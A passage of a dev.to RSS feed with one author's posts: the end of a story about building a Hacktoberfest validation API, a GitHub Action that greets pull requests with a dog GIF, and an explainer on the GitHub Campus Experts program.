&lt;li&gt;For now, it just works. There is literally zero error handling, if things don't go as expected, the app would definitely break. I am not super proud about that, will definitely work on it. &lt;/li&gt;
&lt;li&gt;Also the filtering logic and steps could be done more efficiently. Couldn't really get that logic from DO's repo as it was in Ruby.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Conclusion
&lt;/h3&gt;

&lt;p&gt;If you have reached this point, probably you are wondering. What is so great about this? This is a piece of cake to me, I could code this in an hour. I'd say great!&lt;br&gt;&lt;br&gt;
This is not a tutorial on how to build the Hacktoberfest Validation API. This is the story of how I got to it. It felt really magical to see Matt replying to a random stranger's Twitter text and a magic mail which points me to the right direction. All adding more beauty of how opensource works. Also, I got the mail back from Frida a day later! Lastly, this is not an article to praise DigitalOcean and their support.&lt;br&gt;
P.S. Shhh... They didn't pay me ;)&lt;/p&gt;

&lt;p&gt;I was really amazed that day when I realised that people are so kind and helping in the open-source community. It was a blissful experience on the whole &amp;lt;3.&lt;/p&gt;

</description>
      <category>hacktoberfest</category>
      <category>github</category>
      <category>opensource</category>
      <category>api</category>
    </item>
    <item>
      <title>Woofy Greet Actions</title>
      <dc:creator>Harish</dc:creator>
      <pubDate>Thu, 17 Sep 2020 14:23:34 +0000</pubDate>
      <link>https://dev.to/harishteens/woofy-greet-actions-3655</link>
      <guid>https://dev.to/harishteens/woofy-greet-actions-3655</guid>
      <description>&lt;h3&gt;
  
  
  My Workflow
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Woofy Greet&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Woofy greet actions could be used to make comment with a dog GIF and template text whenever someone sends a Pull Request.&lt;/p&gt;

&lt;h3&gt;
  
  
  Submission Category:
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Maintainer Must-Haves&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Yaml File or Link to Code
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://github.com/marketplace/actions/woofy-greet#woofy-greet-actions" rel="noopener noreferrer"&gt;Marketplace Link&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Additional Resources / Info
&lt;/h3&gt;

&lt;p&gt;To get a random GIF of the dogs, the actions uses &lt;a href="https://www.npmjs.com/package/@giphy/js-fetch-api" rel="noopener noreferrer"&gt;NPM package&lt;/a&gt; provided by &lt;a href="https://giphy.com/" rel="noopener noreferrer"&gt;Giphy&lt;/a&gt;&lt;/p&gt;

</description>
      <category>actionshackathon</category>
    </item>
    <item>
      <title>Everything you need to know about GitHub Campus Expert 🚩</title>
      <dc:creator>Harish</dc:creator>
      <pubDate>Thu, 13 Aug 2020 14:37:13 +0000</pubDate>
      <link>https://dev.to/gh-campus-experts/everything-you-need-to-know-about-github-campus-expert-bc6</link>
      <guid>https://dev.to/gh-campus-experts/everything-you-need-to-know-about-github-campus-expert-bc6</guid>
      <description>&lt;p&gt;This post targets all of those who have no idea about what GitHub Campus Experts program is or even what GitHub is, or you might have heard these names somewhere and want to shine a little light on what exactly these are.&lt;/p&gt;

&lt;h2&gt;
  
  
  What is GitHub?
&lt;/h2&gt;

&lt;p&gt;GitHub is a code hosting platform for version control and collaboration. It lets you and others work together on projects from anywhere. If you are getting into tech and have not used Github, I promise you it will be a delight and will make your life a lot less painful.&lt;/p&gt;

&lt;p&gt;GitHub Education helps students, teachers, and schools access the tools and events they need to shape the next generation of software development. There are a variety of programs GitHub offers as part of GitHub Education. Among one is the GitHub Campus Experts Program.&lt;/p&gt;

&lt;h2&gt;
  
  
  What is a GitHub Campus Expert?
&lt;/h2&gt;

&lt;p&gt;People learn better when they can learn with a community of like-minded peers. A Campus Expert improves the technical community on their campus, with training and support from GitHub. Once you complete the training and become a GitHub Campus Expert, you will have access to resources and support from GitHub, such as swag, sponsorship, and the opportunity to attend events like the company’s annual conference, GitHub Universe.&lt;/p&gt;

&lt;h2&gt;
  
  
  How can I become one?
&lt;/h2&gt;

&lt;p&gt;After reading the above, if you too got excited like me and want to know how you can also become one, Check out this &lt;a href="https://githubcampus.expert/training" rel="noopener noreferrer"&gt;link&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;This is the first place you want to go to kickstart your journey of becoming a campus expert. Once you click Start, GitHub will take some time to get things ready for training. You will get all the instructions about your training and submissions, right after it is complete. It took me about a month to complete my training, GitHub does not have any deadline over the submissions, you can submit these at your own pace. After you complete your submissions, you have to be patient and wait for a reviewer to review your submissions. After a reviewer reviews your submissions and merges your PR, the final step is a screening call. And then you would have become the GitHub Campus Expert for your Campus.&lt;br&gt;
Now let us answer some serious questions!&lt;/p&gt;

&lt;h2&gt;
  
  
  What is the use of becoming a GitHub Campus Expert?
&lt;/h2&gt;

&lt;p&gt;Ever thought about having an enriching community where you can find like-minded peers and have fun together? Or maybe you want to organize many events for your campus so that people get excited and join hands together? Where would you go? Whom would you ask for help? Most importantly, What about the funds?&lt;br&gt;
That is where the GitHub Campus Expert Program will come into the picture. We have a fantastic community of passionate people backed by GitHub all over the world, who will support you in building a better Technical Community for your Campus. If you think that your campus lacks a good technical community, do not wait for a leader or someone, take things on your hand and start the movement.&lt;br&gt;
Leaders are not born; they are made.&lt;/p&gt;

&lt;p&gt;Finally, the question for which everyone wants to know the answer to&lt;/p&gt;

&lt;h2&gt;
  
  
  What tools and resources does a GitHub Campus Expert get access to?
&lt;/h2&gt;

&lt;p&gt;The ultimate resource is always People, People, People.&lt;br&gt;
You will be added to the slack channel where you can find all the GitHub Campus Experts around the world. Then you gain access to tools that help you make resource requests, and collaborate with GitHub Staff and other Campus Experts. GitHub will ship you cool swags as I got below,&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fckvd2ghybeczvbag6tqr.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fckvd2ghybeczvbag6tqr.jpeg" alt="Alt Text" width="800" height="1066"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;With the network of amazing people and GitHub supporting in you in every way it could, you can build something greater than yourself.&lt;br&gt;
Thanks for reading the article. I cannot thank enough GitHub for the fantastic resources it has given.&lt;/p&gt;

</description>
      <category>github</category>
      <category>opensource</category>
      <category>showdev</category>
    </item>
  </channel>
</rss>
